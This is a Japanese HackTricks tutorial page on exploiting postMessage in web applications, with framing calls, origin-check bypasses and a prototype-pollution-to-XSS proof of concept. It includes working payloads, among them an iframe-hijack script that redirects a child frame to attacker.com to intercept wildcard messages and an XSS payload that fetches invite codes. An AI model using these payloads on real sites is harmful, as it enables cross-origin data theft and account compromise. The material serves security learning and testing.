PostMessageの脆弱性
Reading time: 14 minutes
PostMessageの脆弱性
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
PostMessageを送信
PostMessageはメッセージを送信するために以下の関数を使用します:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
targetOrigin は '*' または https://company.com のような URL である可能性があります。
第二のシナリオでは、メッセージはそのドメインにのみ送信される(ウィンドウオブジェクトのオリジンが異なっていても)。
ワイルドカードが使用される場合、メッセージは任意のドメインに送信される可能性があり、ウィンドウオブジェクトのオリジンに送信されます。
iframe 攻撃 & targetOrigin のワイルドカード
このレポートで説明されているように、iframed 可能なページ(X-Frame-Header
保護なし)を見つけ、ワイルドカード(*)を使用して postMessage 経由で 機密 メッセージを 送信している 場合、iframe の origin を 変更 し、あなたが制御するドメインに 機密 メッセージを 漏洩 させることができます。
ページが iframed 可能であるが、targetOrigin が ワイルドカードではなく URL に設定されている 場合、この トリックは機能しません。
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
addEventListenerの悪用
addEventListener
は、JSが**postMessages
**を期待する関数を宣言するために使用する関数です。
次のようなコードが使用されます:
window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return
// ...
},
false
)
注意すべきは、最初にコードが行っていることはオリジンの確認です。これは、受信した情報で何か敏感なこと(パスワードの変更など)を行う場合に非常に重要です。オリジンを確認しないと、攻撃者が被害者に任意のデータをこのエンドポイントに送信させ、被害者のパスワードを変更させることができます(この例では)。
列挙
現在のページでイベントリスナーを見つけるために、次のことができます:
window.addEventListener
や$(window).on
(JQueryバージョン)のJSコードを検索する- 開発者ツールのコンソールで
getEventListeners(window)
を実行する
- ブラウザの開発者ツールで_Elements --> Event Listeners_に移動する
- https://github.com/benso-io/postaやhttps://github.com/fransr/postMessage-trackerのようなブラウザ拡張機能を使用する。これらのブラウザ拡張機能は、すべてのメッセージを傍受し、表示します。
オリジンチェックのバイパス
- **
event.isTrusted
**属性は、真のユーザーアクションによって生成されたイベントに対してのみTrue
を返すため、安全と見なされます。正しく実装されていればバイパスは難しいですが、セキュリティチェックにおけるその重要性は注目に値します。 - PostMessageイベントでのオリジン検証に**
indexOf()
**を使用することは、バイパスされる可能性があります。この脆弱性を示す例は次のとおりです:
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
String.prototype.search()
の**search()
**メソッドは、文字列ではなく正規表現用に設計されています。正規表現以外のものを渡すと、暗黙的に正規表現に変換されるため、このメソッドは潜在的に安全ではありません。これは、正規表現ではドット(.)がワイルドカードとして機能し、特別に作成されたドメインで検証をバイパスできるためです。例えば:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
**
match()
**関数は、search()
と同様に正規表現を処理します。正規表現が不適切に構造化されていると、バイパスされる可能性があります。 -
**
escapeHtml
**関数は、文字をエスケープすることで入力をサニタイズすることを目的としています。しかし、新しいエスケープオブジェクトを作成するのではなく、既存のオブジェクトのプロパティを上書きします。この動作は悪用される可能性があります。特に、オブジェクトが操作されて、その制御されたプロパティがhasOwnProperty
を認識しない場合、escapeHtml
は期待通りに機能しません。以下の例で示されています: -
期待される失敗:
result = u({
message: "'\"<b>\\",
})
result.message // "'"<b>\"
- エスケープをバイパス:
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"
この脆弱性の文脈では、File
オブジェクトはその読み取り専用のname
プロパティのために特に悪用されやすいです。このプロパティは、テンプレートで使用されるときにescapeHtml
関数によってサニタイズされず、潜在的なセキュリティリスクを引き起こします。
- JavaScriptの
document.domain
プロパティは、スクリプトによってドメインを短縮するために設定でき、同じ親ドメイン内での同一オリジンポリシーの適用を緩和します。
e.origin == window.originのバイパス
%%%%%%を使用してサンドボックス化されたiframe内にウェブページを埋め込む場合、iframeのオリジンはnullに設定されることを理解することが重要です。これは、サンドボックス属性とそのセキュリティおよび機能への影響を扱う際に特に重要です。
サンドボックス属性に**allow-popups
を指定すると、iframe内から開かれたポップアップウィンドウは親のサンドボックス制限を継承します。これは、allow-popups-to-escape-sandbox
**属性も含まれていない限り、ポップアップウィンドウのオリジンも同様にnull
に設定され、iframeのオリジンと一致することを意味します。
したがって、これらの条件下でポップアップが開かれ、iframeからポップアップに**postMessage
を使用してメッセージが送信されると、送信側と受信側の両方のオリジンがnull
に設定されます。この状況は、e.origin == window.origin
**が真(null == null
)と評価されるシナリオを引き起こします。なぜなら、iframeとポップアップは同じオリジン値null
を共有しているからです。
詳細については読む:
Bypassing SOP with Iframes - 1
e.sourceのバイパス
メッセージがスクリプトがリスニングしている同じウィンドウから来たかどうかを確認することが可能です(特にブラウザ拡張のコンテンツスクリプトがメッセージが同じページから送信されたかどうかを確認するのに興味深いです):
// If it’s not, return immediately.
if (received_message.source !== window) {
return
}
メッセージの e.source
を null に強制するには、postMessage を 送信 し、即座に削除 される iframe を作成します。
詳細については 読んでください:
Bypassing SOP with Iframes - 2
X-Frame-Header バイパス
これらの攻撃を実行するには、理想的には 被害者のウェブページ を iframe
内に配置できる必要があります。しかし、X-Frame-Header
のようなヘッダーはその 動作 を 防ぐ ことがあります。
そのようなシナリオでは、あまりステルス性のない攻撃を使用することができます。脆弱なウェブアプリケーションに新しいタブを開き、通信することができます:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
子供に送信されたメッセージをメインページをブロックして盗む
次のページでは、データを送信する前にメインページをブロックし、子供のXSSを悪用してデータを漏洩させることで、子供のiframeに送信された敏感なpostmessageデータをどのように盗むことができるかを示しています:
Blocking main page to steal postmessage
iframeの位置を変更してメッセージを盗む
X-Frame-Headerがないウェブページをiframeできる場合、別のiframeを含む場合、その子供のiframeの位置を変更することができます。もしそれがワイルドカードを使用して送信されたpostmessageを受信している場合、攻撃者はそのiframeのオリジンを自分が制御するページに変更し、メッセージを盗むことができます:
Steal postmessage modifying iframe location
postMessageによるプロトタイプ汚染および/またはXSS
postMessage
を通じて送信されたデータがJSによって実行されるシナリオでは、ページをiframeし、postMessage
を介してエクスプロイトを送信することでプロトタイプ汚染/XSSを悪用できます。
https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.htmlに、postMessageを通じた非常に良く説明されたXSSのいくつかがあります。
iframe
へのpostMessage
を通じてプロトタイプ汚染を悪用し、その後XSSの例:
<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}
setTimeout(get_code, 2000)
</script>
</body>
</html>
詳細情報について:
- プロトタイプ汚染に関するページへのリンク
- XSSに関するページへのリンク
- クライアントサイドプロトタイプ汚染からXSSへのリンク
参考文献
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- 実践用: https://github.com/yavolo/eventlistener-xss-recon
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。